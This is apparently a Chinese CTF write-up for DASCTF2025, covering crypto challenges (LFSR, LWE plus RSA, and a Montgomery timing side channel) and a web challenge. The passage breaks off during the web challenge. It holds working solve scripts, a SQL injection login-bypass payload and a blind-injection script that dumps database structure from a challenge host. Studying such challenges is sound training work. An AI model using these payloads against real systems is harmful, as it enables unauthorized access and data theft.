6483 words
32 minutes
DASCTF2025
2025-12-05
CTF
Web
/
Crypto
/
Reverse

CHECKIN#

AI画师的小秘密#

图片尾部 有个base64

REFTQ1RGe1czbGMwbWVfdDBfREFTQ1RGXzIwMjVfSDRsZl9ZMzRyIX0=  --> DASCTF{W3lc0me_t0_DASCTF_2025_H4lf_Y34r!}

CRYPTO#

lost LFSR key#

from Crypto.Util.number import *
from secret import flag
from random import *


flag = flag.strip(b"DASCTF{").strip(b"}")
assert len(flag) == 64


class myRNG():
    def __init__(self,seed=None):
        if(seed):
            self.seed = seed
        else:
            self.seed = getrandbits(64)
        self.mask = getrandbits(64)


    def next(self):
        i = self.seed & self.mask
        Out = 0
        while i != 0:
            Out = Out ^ (i & 1)
            i = i >> 1
        self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
        return Out


    def get_myRNG_randbits(self,n):
        temp = 0
        for i in range(n):
            temp = (temp << 1) | self.next()
        return temp


generator = myRNG()
key = generator.get_myRNG_randbits(64*8)


print("mask =", generator.mask)
print("c =", key ^ bytes_to_long(flag))

题目给出了一个自定义的伪随机数生成器（类似 LFSR），其内部状态由一个 64 位的 seed 和一个固定的 mask 组成。

生成器的核心逻辑如下：

  1. Next Bit Calculation: 下一个输出位 Out 是 seed & mask 的奇偶校验位（parity）。
  2. State Update: seed 更新为 ((seed << 1) | Out).

加密过程生成了 512 位（64 字节）的密钥流 key，然后与 flag 进行异或得到密文 c。题目提供了 mask 和密文 c。

这是一个典型的GF(2) 上的线性系统问题。

  1. 线性性: 生成器的每一次状态更新和输出计算都是线性的（XOR 和移位操作）。这意味着生成的每一位密钥流都是初始 seed 的每一位的线性组合。

  2. 已知明文攻击: Flag 的格式通常是 ASCII 字符串。ASCII 字符的最高位（MSB）通常是 0。

    • 题目中 Flag 长度为 64 字节。
    • 这意味着我们可以确定明文的第 7, 15, 23, …, 511 位都是 0。
    • 利用 c=k⊕mc = k \oplus m，当 m=0m=0 时，k=ck=c。
    • 因此，我们知道了密钥流在这些位置的具体数值。

  3. 符号执行: 我们不需要暴力破解 64 位的种子。我们可以将初始种子的 64 位看作 64 个变量 x0,x1,...,x63x_0, x_1, ..., x_{63}。 我们可以模拟生成器的运行，跟踪每一位状态是如何由初始变量线性组合而成的。

  4. 构建方程组: 生成 512 位密钥流的过程中，对于每一个索引 ii（0≤i<5120 \le i < 512），如果 i≡7(mod8)i \equiv 7 \pmod 8，我们知道该位的密钥流值等于密文对应位的值。 这样我们可以得到 512/8=64512 / 8 = 64 个线性方程。

  5. 求解方程组: 我们有 64 个变量和 64 个方程。构建矩阵并使用高斯消元法求解。

    注意: 在实际求解中，矩阵的秩可能是 63（亏秩），这意味着存在自由变量，会有多组解。我们需要遍历所有可能的解（在这个例子中只有 2 个），并检查解密出的 Flag 是否有意义。

exp

from functools import reduce
from Crypto.Util.number import long_to_bytes


mask = 9319439021858903464
c = 8882504877732087312989345828667663333297225833982945014279010438327750150593504327259176959316943362605442206624947923157363187067410478202161873663103506


class myRNG():
    def __init__(self, seed, mask):
        self.seed = seed
        self.mask = mask


    def next(self):
        i = self.seed & self.mask
        Out = 0
        while i != 0:
            Out = Out ^ (i & 1)
            i = i >> 1
        self.seed = ((self.seed << 1) | Out) & ((1 << 64) - 1)
        return Out


    def get_myRNG_randbits(self,n):
        temp = 0
        for i in range(n):
            temp = (temp << 1) | self.next()
        return temp


# 1. 符号执行构建线性方程组
# state[i] 是一个 64 位的掩码，表示当前状态的第 i 位是由初始种子的哪些位 XOR 得到的
state = [(1 << i) for i in range(64)]
equations = []


known_indices = set(range(0, 512, 8))


for i in range(512):
    # 模拟 next() 函数的线性变换
    selected_bits = []
    for bit_idx in range(64):
        if (mask >> bit_idx) & 1:
            selected_bits.append(state[bit_idx])


    # Out 是 selected_bits 的 XOR 和
    if not selected_bits:
        out_symbolic = 0
    else:
        out_symbolic = reduce(lambda x, y: x ^ y, selected_bits)


    # 如果是已知位，添加方程
    if i in known_indices:
        bit_pos = 511 - i
        val = (c >> bit_pos) & 1
        equations.append((out_symbolic, val))


    # 更新状态
    # self.seed = ((self.seed << 1) | Out)
    new_state = [0] * 64
    new_state[0] = out_symbolic
    for k in range(1, 64):
        new_state[k] = state[k-1]
    state = new_state


# 2. 高斯消元求解
M = []
for eq_mask, eq_val in equations:
    row = []
    for k in range(64):
        row.append((eq_mask >> k) & 1)
    row.append(eq_val)
    M.append(row)


rows = len(M)
cols = len(M[0])
pivot_row = 0


# 消元为上三角（行阶梯）
for col in range(cols - 1):
    if pivot_row >= rows: break


    curr = pivot_row
    while curr < rows and M[curr][col] == 0:
        curr += 1
    if curr == rows: continue


    M[pivot_row], M[curr] = M[curr], M[pivot_row]


    for i in range(rows):
        if i != pivot_row and M[i][col] == 1:
            for j in range(col, cols):
                M[i][j] ^= M[pivot_row][j]
    pivot_row += 1


# 3. 提取解（处理多解情况）
pivot_columns = {}
pivot_cols_set = set()
for i in range(rows):
    for j in range(cols - 1):
        if M[i][j] == 1:
            pivot_columns[i] = j
            pivot_cols_set.add(j)
            break


free_columns = [j for j in range(64) if j not in pivot_cols_set]


# 特解 (自由变量设为 0)
seed_p = 0
for i in range(rows):
    if i in pivot_columns:
        col = pivot_columns[i]
        if M[i][-1]:
            seed_p |= (1 << col)


# 齐次解 (自由变量设为 1)
seed_h = 0
if free_columns:
    free_col = free_columns[0]
    seed_h |= (1 << free_col)
    for i in range(rows):
        if i in pivot_columns and M[i][free_col]:
            seed_h |= (1 << pivot_columns[i])


seeds = [seed_p, seed_p ^ seed_h]


# 4. 验证并输出 Flag
for s in seeds:
    try:
        gen = myRNG(s, mask)
        key = gen.get_myRNG_randbits(512)
        flag_int = c ^ key
        flag = long_to_bytes(flag_int)
        if b'DASCTF' in flag or b'flag' in flag.lower() or b'key' in flag.lower():
            print(f"Found Flag: DASCTF{{{flag.decode()}}}")
    except:
        pass

two_examples#

task.sage
from Crypto.Util.number import *
import json
from hashlib import *
from gmpy2 import *
from flag import flag
n= 20
m = 30
p = getPrime(160)


A = [random_vector(GF(p),m) for _ in range(n)]
B = [random_vector(GF(p),m) for _ in range(n)]
A = matrix(GF(p),A)
B = matrix(GF(p),B)


s1 = random_vector(GF(p),n)
s2 = random_vector(GF(p),n)


e1 = vector(GF(p),[choice([-1,0,1]) for _ in range(m)])
e2 = vector(GF(p),[choice([-1,0,1]) for _ in range(m)])


b1 = s1*A + s2*B + e1
b2 = s2*A + s1*B + e2


with open('M.matrix','w') as f:
    json.dump({"A": str(list(A)),"B": str(list(B)),"p":str(p)}, f)


with open('v.vector','w') as f:
    json.dump({"b1": str(list(b1)),"b2": str(list(b2))}, f)


def vector_to_sha512_hex(vector):


    vector_str = ''.join(str(i) for i in vector)
    res = sha512(vector_str.encode()).hexdigest()
    res = int(res,16)
    return res


d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
P = getPrime(512)
Q = getPrime(512)
N = P*Q
phi = (P-1)*(Q-1)
while gcd(d,phi) != 1:
    d += 1


e = inverse(d,phi)
flag = bytes_to_long(flag)
c = power_mod(flag,e,N)


with open('RSA.enc','w') as f:
    json.dump({"N": str(N),"c": str(c)}, f)

本题结合了基于格密码的 LWE (Learning With Errors) 问题和 RSA 加密。 我们需要先解开 LWE 问题恢复出私钥向量 s1s_1 和 s2s_2，然后利用它们计算出 RSA 的解密指数 dd，最终解密得到 Flag。

1. LWE 方程

题目给出了如下生成过程：

b1 = s1*A + s2*B + e1
b2 = s2*A + s1*B + e2

其中：

  • s1,s2s_1, s_2 是维度为 n=20n=20 的私钥向量。
  • A,BA, B 是 n×mn \times m (20×3020 \times 30) 的公钥矩阵。
  • e1,e2e_1, e_2 是维度为 m=30m=30 的误差向量，元素取值 {−1,0,1}\{-1, 0, 1\}。
  • 运算在 GF(p)GF(p) 上进行，pp 是一个 160 位的素数。

2. 方程转化

直接求解这两个耦合的方程比较复杂。通过观察，我们可以通过加减消元将其转化为两个独立的标准 LWE 问题：

两式相加： b1+b2=(s1+s2)(A+B)+(e1+e2)b_1 + b_2 = (s_1 + s_2)(A + B) + (e_1 + e_2) 令 S+=s1+s2S_+ = s_1 + s_2, M+=A+BM_+ = A + B, E+=e1+e2E_+ = e_1 + e_2, V+=b1+b2V_+ = b_1 + b_2，则： V+=S+⋅M++E+V_+ = S_+ \cdot M_+ + E_+ 其中误差 E+E_+ 的元素取值范围为 [−2,2][-2, 2]。

两式相减： b1−b2=(s1−s2)(A−B)+(e1−e2)b_1 - b_2 = (s_1 - s_2)(A - B) + (e_1 - e_2) 令 S−=s1−s2S_- = s_1 - s_2, M−=A−BM_- = A - B, E−=e1−e2E_- = e_1 - e_2, V−=b1−b2V_- = b_1 - b_2，则： V−=S−⋅M−+E−V_- = S_- \cdot M_- + E_- 其中误差 E−E_- 的元素取值范围为 [−2,2][-2, 2]。

由于 n=20,m=30n=20, m=30 且误差非常小，我们可以利用格规约算法（LLL）来求解这两个 LWE 实例。

3. RSA 部分

题目中 RSA 的解密指数 dd 生成方式如下：

d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)
while gcd(d,phi) != 1:
    d += 1
e = inverse(d,phi)

加密使用的是 ee，因此解密直接使用 dd 即可。需要注意的是，真实的 dd 可能是初始计算出的 dd 加上一个小的偏移量。

求解

  1. 构造格 (Lattice Construction)

对于方程 v=s⋅M+e(modp)v = s \cdot M + e \pmod p，我们希望找到短向量 ee。 我们可以构造如下的格基矩阵（Embedding Technique）：

L=(pIm0M0−vK)L = \begin{pmatrix} p I_m & 0 \\ M & 0 \\ -v & K \end{pmatrix}

其中 K=1K=1。该格中包含向量： ∑si⋅rowi(M)+1⋅(−v,1)+modulus_reduction\sum s_i \cdot \text{row}_i(M) + 1 \cdot (-v, 1) + \text{modulus\_reduction} =(sM−v(modp),1)=(−e,1)= (sM - v \pmod p, 1) = (-e, 1) 由于 ee 的分量很小，向量 (−e,1)(-e, 1) 是格中的一个短向量。

使用 LLL 算法对上述矩阵进行规约，即可在短基向量中找到 (−e,1)(-e, 1)，从而恢复出 ee。

2. 恢复私钥

求出 E+E_+ 和 E−E_- 后，我们有： S+⋅M+=V+−E+(modp)S_+ \cdot M_+ = V_+ - E_+ \pmod p S−⋅M−=V−−E−(modp)S_- \cdot M_- = V_- - E_- \pmod p 这是一个超定线性方程组（m>nm > n），选取前 nn 个线性无关的列即可通过高斯消元求解出 S+S_+ 和 S−S_-。

进而求出 s1,s2s_1, s_2： s1=(S++S−)⋅2−1(modp)s_1 = (S_+ + S_-) \cdot 2^{-1} \pmod p s2=(S+−S−)⋅2−1(modp)s_2 = (S_+ - S_-) \cdot 2^{-1} \pmod p

3. 解密 Flag

  1. 计算初始 dbase=SHA512(s1)+SHA512(s2)d_{base} = \text{SHA512}(s_1) + \text{SHA512}(s_2)。
  2. 由于不知道 ϕ\phi，无法判断 gcd⁡(d,ϕ)\gcd(d, \phi)。但通常 dd 的增量非常小。
  3. 爆破偏移量 δ=0,1,2,…\delta = 0, 1, 2, \dots，计算 d=dbase+δd = d_{base} + \delta。
  4. 尝试解密 m=cd(modN)m = c^d \pmod N，若结果包含 “DASCTF” 或 “flag” 等特征字符，则为正确 Flag。

exp

import json
import sys
from hashlib import sha512
from fpylll import IntegerMatrix, LLL, BKZ


# Helper functions
def gcd(a, b):
    while b:
        a, b = b, a % b
    return a


def extended_gcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        g, y, x = extended_gcd(b % a, a)
        return g, x - (b // a) * y, y


def inverse(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m


def solve_linear_system(M, target, p):
    n = len(M)
    m = len(M[0])




    A_aug = []
    for i in range(m):
        row = [M[j][i] for j in range(n)]
        row.append(target[i])
        A_aug.append(row)


    pivot_row = 0
    col = 0
    pivot_indices = []


    rows = len(A_aug)
    cols = len(A_aug[0]) - 1 # Last col is target


    for j in range(cols):
        if pivot_row >= rows:
            break


        # Find pivot
        pivot = -1
        for i in range(pivot_row, rows):
            if A_aug[i][j] % p != 0:
                pivot = i
                break


        if pivot == -1:
            continue


        # Swap rows
        A_aug[pivot_row], A_aug[pivot] = A_aug[pivot], A_aug[pivot_row]
        pivot_indices.append((pivot_row, j))


        # Normalize pivot row
        inv = inverse(A_aug[pivot_row][j], p)
        for k in range(j, cols + 1):
            A_aug[pivot_row][k] = (A_aug[pivot_row][k] * inv) % p


        # Eliminate other rows
        for i in range(rows):
            if i != pivot_row:
                factor = A_aug[i][j]
                for k in range(j, cols + 1):
                    A_aug[i][k] = (A_aug[i][k] - factor * A_aug[pivot_row][k]) % p


        pivot_row += 1
    x = [0] * n
    for r, c in pivot_indices:
        x[c] = A_aug[r][-1]


    return x


def solve_lwe(M, b_vec, p):
    n = len(M)
    m = len(M[0])
    dim = m + 1
    num_vecs = m + n + 1


    mat = IntegerMatrix(num_vecs, dim)


    # Fill p * I_m
    for i in range(m):
        mat[i, i] = int(p)


    # Fill M
    for i in range(n):
        for j in range(m):
            mat[m + i, j] = int(M[i][j])


    K = 1
    for j in range(m):
        mat[m + n, j] = int(-b_vec[j]) % int(p)
        mat[m + n, j] = -int(b_vec[j])
    mat[m + n, m] = K


    # Run LLL
    LLL.reduction(mat)


    e_found = None


    for i in range(mat.nrows):
        row = [mat[i, j] for j in range(dim)]
        if row[m] == K:
            e_candidate = [-x for x in row[:m]]
            if all(abs(x) <= 2 for x in e_candidate):
                e_found = e_candidate
                break
        elif row[m] == -K:


            e_candidate = row[:m]
            if all(abs(x) <= 2 for x in e_candidate):
                e_found = e_candidate
                break


    if e_found is None:
        print("Failed to find error vector")
        return None


    print(f"Found error vector: {e_found}")


    target = [(b_vec[i] - e_found[i]) % p for i in range(m)]
    s = solve_linear_system(M, target, p)
    return s


def vector_to_sha512_hex(vector):
    vector_str = ''.join(str(i) for i in vector)
    res = sha512(vector_str.encode()).hexdigest()
    res = int(res, 16)
    return res


def main():
    print("Loading data...")
    with open('M.matrix', 'r') as f:
        data_m = json.load(f)
        A = eval(data_m['A'])
        B = eval(data_m['B'])
        p = int(data_m['p'])


    with open('v.vector', 'r') as f:
        data_v = json.load(f)
        b1 = eval(data_v['b1'])
        b2 = eval(data_v['b2'])


    n = len(A)
    m = len(A[0])
    print(f"n={n}, m={m}, p={p}")




    M_plus = [[(A[i][j] + B[i][j]) % p for j in range(m)] for i in range(n)]
    b_plus = [(b1[j] + b2[j]) % p for j in range(m)]


    print("Solving for s_plus...")
    s_plus = solve_lwe(M_plus, b_plus, p)


    M_minus = [[(A[i][j] - B[i][j]) % p for j in range(m)] for i in range(n)]
    b_minus = [(b1[j] - b2[j]) % p for j in range(m)]


    print("Solving for s_minus...")
    s_minus = solve_lwe(M_minus, b_minus, p)


    if s_plus is None or s_minus is None:
        print("Could not solve lattice problems.")
        return


    inv2 = inverse(2, p)
    s1 = [(s_plus[i] + s_minus[i]) * inv2 % p for i in range(n)]
    s2 = [(s_plus[i] - s_minus[i]) * inv2 % p for i in range(n)]


    print("Recovered s1 and s2.")


    d = vector_to_sha512_hex(s1) + vector_to_sha512_hex(s2)


    with open('RSA.enc', 'r') as f:
        data_rsa = json.load(f)
        N = int(data_rsa['N'])
        c = int(data_rsa['c'])




    for offset in range(100):
        d_candidate = d + offset


        try:
            m = pow(c, d_candidate, N)
            hex_m = hex(m)[2:]
            if len(hex_m) % 2 != 0:
                hex_m = '0' + hex_m
            try:
                flag_bytes = bytes.fromhex(hex_m)
                if b'flag{' in flag_bytes or b'CTF{' in flag_bytes or b'actf{' in flag_bytes:
                    print(f"Found flag with offset {offset}: {flag_bytes}")
                    break
            except:
                pass
        except Exception as e:
            pass


if __name__ == '__main__':
    main()

Serration#

from Crypto.Util.number import *
from hashlib import sha256
import socketserver
import signal
import os
import string
import random
from sympy.ntheory.modular import crt
from line_profiler import LineProfiler




flag = os.getenv('DASFLAG')


def euclide_ext(a, b):
    x, xx, y, yy = 1, 0, 0, 1
    while b:
        q = a // b
        a, b = b, a % b
        x, xx = xx, x - xx * q
        y, yy = yy, y - yy * q
    return x, y, a


class Montgomery:
    n: int
    k: int
    r: int
    r_inv: int
    n_inv: int


    def __init__(self, n, k):
        self.n = n
        self.k = k
        self.r = 2 ** k
        self.r_inv, self.n_inv, gcd = euclide_ext(self.r, self.n)
        self.n_inv = -self.n_inv
        if gcd != 1:
            raise ValueError("gcd(r,n) must be 1")
        if self.r * self.r_inv - self.n * self.n_inv != 1:
            raise ValueError(
                f"For ({self.r} that created from {2} ** {k},{n}) doesn't exists diophantine equation decision"
            )
        self.r_inv = self.r_inv % self.n


    def mon_pro(self, a_n, b_n):
        t = a_n * b_n
        u = (t + (t * self.n_inv % self.r) * self.n) >> self.k
        if u > self.n:
            u -= self.n
        return u


    def mon_exp(self, a: int, e: int):
        a = a * self.r % self.n
        x = self.r % self.n
        for i in reversed(range(0, e.bit_length())):
            x= self.mon_pro(x, x)
            if (e & (1 << i))  :
                x= self.mon_pro(x, a)
        return self.mon_pro(x, 1)












class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()


    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass


    def recv(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self._recvall()


    def handle(self):
        bits=1024
        p=getPrime(bits)
        q=getPrime(bits)
        e=getPrime(bits-10)
        n=p*q
        print(p,",",q)
        print(flag)
        P=Montgomery(p,bits)
        Q=Montgomery(q,bits)
        self.send(str((n,e)).encode())
        signal.alarm(300)
        for i in range(600):
            lp = LineProfiler()
            lp.add_function(Q.mon_pro)
            lp_exp = lp(P.mon_exp)
            lq_exp = lp(Q.mon_exp)
            self.send(b"leave message 4 me",newline=False)
            m=int(self.recv())
            cp=lp_exp(m,e)
            cq=lq_exp(m,e)
            c=crt([p,q],[cp,cq])
            d={}
            for i in lp.code_map:
                for j in lp.code_map[i]:
                    d[j]=(lp.code_map[i][j]['total_time'],lp.code_map[i][j]['nhits'])
            self.send(str(d).encode())
        self.send(b"can you break me?",newline=False)
        guess=int(self.recv())
        if guess in {p,q}:
            self.send(flag.encode())
        else:
            self.send(b"sorry~")
        exit


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass




class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass




if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 9999
    print("HOST:POST " + HOST+":" + str(PORT))
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()

题目提供了一个 RSA 签名的场景，使用 Montgomery 模乘算法进行运算。服务器会接收我们发送的消息 mm，计算 me(modn)m^e \pmod n，并使用 line_profiler 库对 Montgomery 乘法函数 Q.mon_pro 进行性能分析，返回执行时间 (total_time) 和命中次数 (nhits)。

关键代码如下：

class Montgomery:
    # ...
    def mon_pro(self, a_n, b_n):
        t = a_n * b_n
        u = (t + (t * self.n_inv % self.r) * self.n) >> self.k
        if u > self.n:
            u -= self.n  # 关键点：这里发生了额外的减法
        return u

服务器返回的 nhits 实际上就是 mon_pro 函数中每一行代码的执行次数。如果 u > self.n 成立，u -= self.n 这一行就会被执行，nhits 就会增加。

Montgomery 乘法 mon_pro(a_n, b_n) 计算的是 an⋅bn⋅r−1(modn)a_n \cdot b_n \cdot r^{-1} \pmod n。 在 RSA CRT 解密（或签名）过程中，会分别在模 pp 和模 qq 下进行计算。题目中只对 Q (模 qq) 的 mon_exp 进行了性能分析。

当我们发送消息 mm 时，服务器会先将其转换为 Montgomery 域的形式（虽然题目代码逻辑有点奇怪，但实际上我们控制的是底数）。 在 mon_exp 的第一步，会有 a = a * self.r % self.n 的预处理。 如果我们构造特殊的输入 mm，使得进入 mon_exp 的底数 XX 在模 qq 下具有特定性质，就可以利用侧信道泄露。

具体来说，我们发送 m=X⋅r−1(modn)m = X \cdot r^{-1} \pmod n。 服务器接收后，在 mon_exp 中计算 m⋅r(modn)=X(modn)m \cdot r \pmod n = X \pmod n。 由于 n=p⋅qn = p \cdot q，在模 qq 的运算中，这个值就是 X(modq)X \pmod q。

mon_pro 中的 u -= self.n (这里应该是 self.q) 发生的概率与输入的大小有关。 当输入值 X<qX < q 时，中间结果更有可能需要进行减法归约（Reduction），导致 nhits 较高。 当输入值 XX 刚刚超过 qq (即 X≥qX \ge q) 时，X(modq)X \pmod q 会变得很小，从而导致中间结果不需要减法归约的概率变大，nhits 会显著下降。

这种现象形成了一个“悬崖”：在 X=qX = q 附近，nhits 会发生突变。

  1. 确定 qq 的大致范围： 我们可以遍历 XX 从 00 到 R=21024R=2^{1024}。 由于 qq 是 nn 的因子，q≈nq \approx \sqrt{n}。 我们可以通过发送 m=X⋅r−1(modn)m = X \cdot r^{-1} \pmod n，观察返回的 nhits。 当 XX 从小于 qq 变为大于 qq 时，nhits 会出现一个明显的下降（Drop）。

  2. 二分查找 (Binary Search)： 一旦发现 XiX_i 和 Xi+1X_{i+1} 之间存在巨大的 nhits 差异（例如从 600 降到 400），我们就可以确定 qq 就在区间 [Xi,Xi+1][X_i, X_{i+1}] 内。 利用二分查找，不断缩小这个区间。 由于题目限制了总查询次数为 600 次，我们可能无法通过二分查找直接得到精确的 qq 值，但可以将范围缩小到非常小（例如几百 bit）。

  3. Coppersmith 小根求解： 经过二分查找，我们得到了一个 qq 的近似值 HH（上界），且已知 ∣H−q∣|H - q| 很小（小于 500 bits）。 我们可以构造多项式 f(x)=x−H(modq)f(x) = x - H \pmod q。 利用 Coppersmith 方法（SageMath 中的 small_roots）在模 nn（qq 是 nn 的因子）下求解 f(x)f(x) 的小根。 f(x)f(x) 的根 x0x_0 即为 H−qH - q，从而可以恢复出 q=H−x0q = H - x_0。

详细步骤

  1. 建立连接与初始化：连接题目端口，获取 n,en, e。
  2. 全局扫描：将 00 到 RR 分成 20 份进行扫描。发现 nhits 在某处骤降，确定 qq 的粗略区间。
  3. 二分定位：在粗略区间内进行二分查找。设置阈值（如 (High + Low) / 2），如果 query(mid) 大于阈值则说明 mid<qmid < q，否则 mid≥qmid \ge q。
  4. SageMath 求解：当查询次数接近耗尽或区间足够小时，停止二分。利用 f = x - H 在 ZnZ_n 上求小根。
  5. 获取 Flag：验证 n%q==0n \% q == 0，发送 qq 通过服务器检查，获取 Flag。

Exp

import socket
import ast
import time
import sys


# Host and Port
HOST = 'node5.buuoj.cn'
PORT = 28218


class Net:
    def __init__(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        self.buf = b''


    def read_until(self, delim):
        while delim not in self.buf:
            chunk = self.s.recv(4096)
            if not chunk:
                break
            self.buf += chunk
        pos = self.buf.find(delim)
        if pos != -1:
            ret = self.buf[:pos+len(delim)]
            self.buf = self.buf[pos+len(delim):]
            return ret
        return b''


    def send(self, msg):
        self.s.sendall(msg)


    def close(self):
        self.s.close()


def get_reductions(resp):
    try:
        d = ast.literal_eval(resp.strip().decode())
        if 48 in d:
            return d[48][1]
        return 0
    except:
        return 0


def solve():
    print(f"Connecting to {HOST}:{PORT}...")
    conn = Net(HOST, PORT)


    data = conn.read_until(b'\n').strip()
    print(f"Received data: {data}")
    n_e = ast.literal_eval(data.decode())
    n = int(n_e[0])
    e = int(n_e[1])
    print(f"n = {n}")


    r = 2**1024
    r_inv = pow(r, -1, n)


    queries_made = 0


    def query(X):
        nonlocal queries_made
        m = (X * r_inv) % n
        conn.read_until(b'> ')
        conn.send(str(m).encode() + b'\n')
        resp = conn.read_until(b'\n')
        queries_made += 1
        return get_reductions(resp)


    # 1. Baseline check
    # y_0 = query(0)
    # print(f"Baseline y(0) = {y_0}")


    # 2. Global Scan
    print("Scanning global range...")
    points = []
    step = r // 20


    # Scan 0 to R
    for i in range(0, 21):
        X = i * step
        if X >= n: X = n - 1
        y = query(X)
        print(f"i={i}, X={float(X/r):.2f}R, y={y}")
        points.append((X, y))


    # Find drop
    drop_index = -1
    max_drop = 0


    for i in range(1, len(points)):
        diff = points[i-1][1] - points[i][1]
        if diff > max_drop:
            max_drop = diff
            drop_index = i


    print(f"Max drop {max_drop} detected at index {drop_index}")


    if max_drop < 50:
        print("No significant drop found.")
        return


    L_node = points[drop_index-1]
    H_node = points[drop_index]


    L = L_node[0] # X value, High y
    H = H_node[0] # X value, Low y


    y_high = L_node[1]
    y_low = H_node[1]


    print(f"Drop interval: [{L}, {H}]")
    print(f"y_high: {y_high}, y_low: {y_low}")


    threshold = (y_high + y_low) // 2
    print(f"Using threshold: {threshold}")


    # 3. Binary Search
    # We want to find transition point where y goes from > threshold to < threshold
    # Invariant: query(L) > threshold, query(H) < threshold


    # Reserve 20 queries for verification/burning
    query_limit = 580


    print("Starting Binary Search...")
    while queries_made < query_limit and H - L > 1:
        mid = (L + H) // 2
        y = query(mid)
        # print(f"BS: X={mid}, y={y}")


        if y > threshold:
            L = mid
        else:
            H = mid


    print(f"Stopped at L={L}, H={H}")
    print(f"Range size: {H - L}")
    print(f"Queries used: {queries_made}")


    q_approx = H
    print(f"q_approx: {q_approx}")


    # 4. Coppersmith
    print("Running Coppersmith...")
    # We know q approx H.
    # q is a factor of n.
    # q = q_approx + delta
    # We don't know sign of delta?
    # H is the "Low" side (X >= q).
    # L is the "High" side (X < q).
    # So q is in (L, H].
    # So q approx H is an upper bound?
    # Wait.
    # X < q -> High.
    # X >= q -> Low.
    # So L < q <= H.
    # So q is between L and H.
    # Since we narrowed it down, q is VERY close to H (and L).
    # Range size is H-L.


    # If H-L is small (e.g. 2^400), we can use Coppersmith.
    bits_unknown = (H - L).bit_length()
    print(f"Bits unknown: {bits_unknown}")


    if bits_unknown > 500:
        print("Range too large for Coppersmith!")


    # SageMath part
    F = Zmod(n)
    P = PolynomialRing(F, 'x')
    x = P.gen()


    # We assume q = H - delta, where delta in [0, H-L]
    # f(x) = H - x
    # We want root x such that H - x = k*q = 0 mod q.
    # So H - x shares a factor with n.


    f = x - H




    # beta: q is approx n^0.5.
    beta = 0.5
    # epsilon: tuning parameter
    epsilon = 0.02


    try:
        roots = f.small_roots(X=2**bits_unknown, beta=beta, epsilon=epsilon)
        if roots:
            root = roots[0]
            q_found = H - int(root)
            print(f"Found q: {q_found}")


            # Verify
            if n % q_found == 0:
                print("Verified!")


                # Burn remaining
                burn_m = (r * r_inv) % n
                while queries_made < 600:
                    conn.read_until(b'> ')
                    conn.send(str(burn_m).encode() + b'\n')
                    conn.read_until(b'\n')
                    queries_made += 1


                # Submit q
                print(f"Sending q: {q_found}")
                conn.read_until(b'break me?')
                conn.send(str(q_found).encode() + b'\n')


                res = conn.read_until(b'}')
                print(f"Flag: {res}")
            else:
                print("Verification failed.")
        else:
            print("No roots found.")


    except Exception as e:
        print(f"Coppersmith failed: {e}")


    conn.close()


if __name__ == "__main__":
    solve()

WEB#

SecretPhotoGallery#

1. SQL 注入绕过登录 (SQL Injection)

访问题目主页，是一个登录界面。尝试万能密码 ' OR 1=1 -- 失败。 结合提示 “database is empty”，推测后端验证逻辑可能是从数据库查询用户，如果数据库为空，正常查询永远返回空。 我们需要使用 UNION SELECT 构造一个虚拟的用户行，欺骗后端验证逻辑。

Payload:

' UNION SELECT 1, 'admin', '123' --

原理: 后端 SQL 可能类似：SELECT * FROM users WHERE username = '$username' AND password = '$password' 注入后变为：

SELECT * FROM users WHERE username = '' UNION SELECT 1, 'admin', '123' -- ...

由于 users 表为空，前半部分查询无结果，但 UNION 后半部分返回了一行数据 (1, 'admin', '123')，成功登录。

盲注枚举数据库结构脚本

为了确认数据库结构和内容，我们编写了盲注脚本。利用 UNION SELECT ... WHERE {condition} 的方式，通过页面是否显示 “Welcome” 来判断条件真假。

脚本 dump_master.py:

import requests
import time
import string


url = "http://b1a7c513-1de5-4e36-a0c6-e2687d976a1f.node5.buuoj.cn:81/"


def check_condition(condition):
    # Using UNION based blind injection
    # If the condition is true, the query returns a row (admin) and we get "Welcome"
    # If false, it returns nothing (or we handle it)
    payload = f"' UNION SELECT 1, 'admin', '123' WHERE {condition} --"
    data = {"username": payload, "password": "123"}


    for _ in range(3):
        try:
            r = requests.post(url, data=data, timeout=5)
            if r.status_code == 429:
                time.sleep(5)
                continue
            return "Welcome" in r.text
        except Exception as e:
            time.sleep(1)
    return False


def get_length(query):
    # Binary search for length
    low = 0
    high = 1000
    while low <= high:
        mid = (low + high) // 2
        if check_condition(f"length(({query})) >= {mid}"):
            low = mid + 1
        else:
            high = mid - 1
    return high


def extract_string(query):
    length = get_length(query)
    print(f"Length: {length}")
    if length == 0:
        return ""


    result = ""
    chars = string.ascii_letters + string.digits + " _.,(){}<>!@#$%^&*[]-='" + '"' + "/\\:;?`~"


    for i in range(1, length + 1):
        found = False
        for char in chars:
            if check_condition(f"substr(({query}), {i}, 1) = '{char}'"):
                result += char
                print(f"Found: {result}", end="\r")
                found = True
                break
        if not found:
            for val in range(32, 127):
                if check_condition(f"unicode(substr(({query}), {i}, 1)) = {val}"):
                    result += chr(val)
                    print(f"Found: {result}", end="\r")
                    found = True
                    break
    print()
    return result


print("Checking number of objects in sqlite_master...")
count = 0
for i in range(10):
    if check_condition(f"(SELECT count(*) FROM sqlite_master) >= {i}"):
        count = i
    else:
        break
print(f"Total objects: {count}")


for i in range(count):
    print(f"--- Object {i+1} ---")
    type_ = extract_string(f"SELECT type FROM sqlite_master LIMIT 1 OFFSET {i}")
    name = extract_string(f"SELECT name FROM sqlite_master LIMIT 1 OFFSET {i}")
    tbl_name = extract_string(f"SELECT tbl_name FROM sqlite_master LIMIT 1 OFFSET {i}")
